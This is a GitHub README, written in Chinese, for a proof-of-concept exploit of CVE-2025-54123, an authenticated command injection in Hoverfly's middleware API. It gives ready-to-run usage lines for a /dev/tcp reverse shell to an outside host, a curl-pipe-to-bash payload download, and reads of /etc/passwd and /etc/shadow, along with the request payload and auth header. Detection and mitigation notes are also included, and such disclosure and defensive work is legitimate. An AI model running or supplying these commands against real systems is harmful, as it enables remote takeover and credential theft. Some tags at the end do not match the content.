kasem545/CVE-2025-54123-Poc

GitHub: kasem545/CVE-2025-54123-Poc

针对 Hoverfly 1.11.3 及以下版本认证中间件命令注入漏洞(CVSS 9.8)的 PoC 利用脚本。

Stars: 1 | Forks: 0

# CVE-2025-54123 漏洞利用 Hoverfly 认证中间件命令注入 RCE | CVSS 9.8 严重 ## 漏洞描述 Hoverfly <= 1.11.3 版本存在通过 `/api/v2/hoverfly/middleware` 端点进行的认证命令注入漏洞。该漏洞需要管理员凭据,但一旦认证通过,中间件功能会在未经验证的情况下接受用户提供的二进制和脚本值,从而允许执行任意命令。 ## 漏洞链 1. **输入验证不足** - `middleware.go` 接受任意二进制路径 2. **不安全的命令执行** - `local_middleware.go` 直接将用户输入传递给 `exec.Command()` 3. **立即执行** - `hoverfly_service.go` 在验证期间执行中间件 ## 要求 - 有效的 Hoverfly 管理员凭据(用户名/密码) - 访问 Hoverfly Admin API(默认端口 8888) ## 用法 ``` python3 exploit.py -t -u -p -c [--shell SHELL] ``` - `-t, --target` - Hoverfly API 端点(必填) - `-u, --username` - 管理员用户名(必填) - `-p, --password` - 管理员密码(必填) - `-c, --command` - 要执行的命令(必填) - `--shell` - 要使用的 Shell 二进制文件(默认:/bin/bash) ## 示例 ``` # 基本命令执行 python3 exploit.py -t http://localhost:8888 -u admin -p password -c whoami # 读取敏感文件 python3 exploit.py -t http://10.10.11.100:8888 -u admin -p pass123 -c "cat /etc/passwd" # Reverse shell python3 exploit.py -t http://target:8888 -u user -p secret -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" # 多命令执行 python3 exploit.py -t http://192.168.1.50:8888 -u admin -p admin -c "id; uname -a; pwd" # 使用不同 shell python3 exploit.py -t http://victim:8888 -u root -p toor -c "cat /etc/shadow" --shell /bin/sh # 下载并执行 payload python3 exploit.py -t http://target:8888 -u admin -p pass -c "curl http://10.10.14.5/shell.sh | bash" ``` ## 攻击流程 1. 攻击者使用有效的管理员凭据进行认证 2. 向 `/api/v2/hoverfly/middleware` 发送包含恶意载荷的 PUT 请求 3. Hoverfly 将脚本写入临时文件 `/tmp/hoverfly_` 4. 在验证期间,执行:` /tmp/hoverfly_` 5. 命令输出在错误响应的 STDOUT 部分返回 6. 漏洞利用程序提取并显示输出 ## 载荷结构 ``` { "binary": "/bin/bash", "script": "whoami" } ``` HTTP 标头包括: ``` Authorization: Basic YWRtaW46cGFzc3dvcmQ= Content-Type: application/json ``` ## 影响 - **完全远程代码执行**,拥有 Hoverfly 进程权限 - **凭据窃取** - 窃取 API 密钥、令牌、机密信息 - **内网横向移动** - 入侵相邻系统 - **数据泄露** - 访问模拟数据、配置信息 - **持久化** - 安装后门,维持访问权限 - **服务中断** - 修改/删除中间件配置 ## 易受攻击代码位置 - `core/middleware/middleware.go:94-96` - 对 binary 参数无输入验证 - `core/middleware/local_middleware.go:14-19` - 不安全的 exec.Command() 使用 - `core/hoverfly_service.go:173` - 验证期间立即执行 ## 受影响版本 - Hoverfly <= 1.11.3 - 所有 Admin API 可访问且启用了认证的安装实例 ## 检测 查找以下迹象: - 指向 `/api/v2/hoverfly/middleware` 的 PUT 请求 - 包含 "STDOUT:" 及命令输出的错误响应 - `/tmp/hoverfly/` 中的临时文件 - 来自 hoverfly 服务的异常进程执行 ## 缓解措施 - 升级到已修补的版本(如有) - 仅限受信任的 IP 访问 Admin API - 使用高强度的认证凭据 - 监控 `/api/v2/hoverfly/middleware` 端点访问 - 对 binary/script 参数实施输入验证 ## 参考文献 - CVE-2025-54123 - CWE-78 (OS 命令注入) - CWE-20 (输入验证不恰当) - GHSA-r4h8-hfp2-ggmf - https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf - https://nvd.nist.gov/vuln/detail/CVE-2025-54123 ## 致谢 原始发现者:[@Kr1shna4garwal](https://github.com/Kr1shna4garwal)
标签:API安全, CISA项目, CVE-2025-54123, CVSS 9.8, Go语言安全, Hoverfly, Hoverfly漏洞, JSON输出, PE 加载器, Python POC, RCE, Reverse Shell, SDLC, 不安全反序列化, 中间件模拟, 中间件漏洞, 反弹Shell, 命令注入, 服务端请求伪造, 编程工具, 网络服务攻击, 认证后漏洞, 输入验证缺失, 远程代码执行